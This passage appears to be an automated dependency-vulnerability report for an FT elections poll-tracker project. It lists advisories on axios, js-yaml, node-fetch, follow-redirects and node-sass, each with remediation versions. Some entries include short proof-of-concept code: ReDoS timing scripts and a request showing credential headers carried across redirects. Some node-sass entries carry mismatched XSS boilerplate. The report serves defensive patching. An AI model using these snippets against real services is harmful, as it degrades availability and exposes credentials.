  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.29.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: js-yaml
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 js-yaml@3.7.0
    Remediation: Upgrade to cssnano@4.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.

Workaround

This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.

References

medium severity
new

Uncontrolled Recursion

  • Vulnerable module: postcss-selector-parser
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss-selector-parser@2.2.3
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss-selector-parser@2.2.3

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the toString function in the AST Serialization. An attacker can cause uncontrolled recursion by providing specially crafted input, potentially resulting in resource exhaustion and application unavailability.

Remediation

There is no fixed version for postcss-selector-parser.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3 follow-redirects@1.0.0
    Remediation: Upgrade to axios@0.16.1.

Overview

Affected versions of this package are vulnerable to Information Exposure due to the handling of the Proxy-Authorization header across hosts. When using a dependent library, it only clears the authorization header during cross-domain redirects but allows the proxy-authentication header, which contains credentials, to persist. This behavior may lead to the unintended leakage of credentials if an attacker can trigger a cross-domain redirect and capture the persistent proxy-authentication header.

PoC

const axios = require('axios');

axios.get('http://127.0.0.1:10081/',{
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
}).then(function (response) {
console.log(response);
})

Remediation

Upgrade follow-redirects to version 1.15.6 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: node-fetch
  • Introduced through: node-fetch@1.7.3 and isomorphic-fetch@2.2.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD node-fetch@1.7.3
    Remediation: Upgrade to node-fetch@2.6.7.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to isomorphic-fetch@3.0.0.

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.

Remediation

Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). Uncontrolled recursion is possible in Sass::Complex_Selector::perform in ast.hpp and Sass::Inspect::operator in inspect.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Denial of Service (DoS). Functions inside ast.cpp for IMPLEMENT_AST_OPERATORS expansion allow attackers to cause a denial-of-service resulting from stack consumption via a crafted sass file, as demonstrated by recursive calls involving clone(), cloneChildren(), and copy(). Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade node-sass to version 4.11.0 or higher.

References

medium severity

Out-of-Bounds

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-Bounds. A heap-based buffer over-read exists in Sass::Prelexer::parenthese_scope in prelexer.hpp. node-sass is affected by this vulnerability due to its bundled usage of libsass.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-Bounds

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-Bounds via Sass::Prelexer::alternatives in prelexer.hpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. ]There is a heap-based buffer over-read in the Sass::Prelexer::re_linebreak function in lexer.cpp in LibSass 3.4.5. A crafted input will lead to a remote denial of service attack.

Remediation

Upgrade node-sass to version 4.2.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1
    Remediation: Upgrade to exhibit-plugin-sass@0.11.0.

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read related to address 0xb4803ea1. A crafted input will lead to a remote denial of service attack. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade node-sass to version 4.3.0 or higher.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read. The function handle_error in sass_context.cpp allows attackers to cause a denial-of-service resulting from a heap-based buffer over-read via a crafted sass file. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
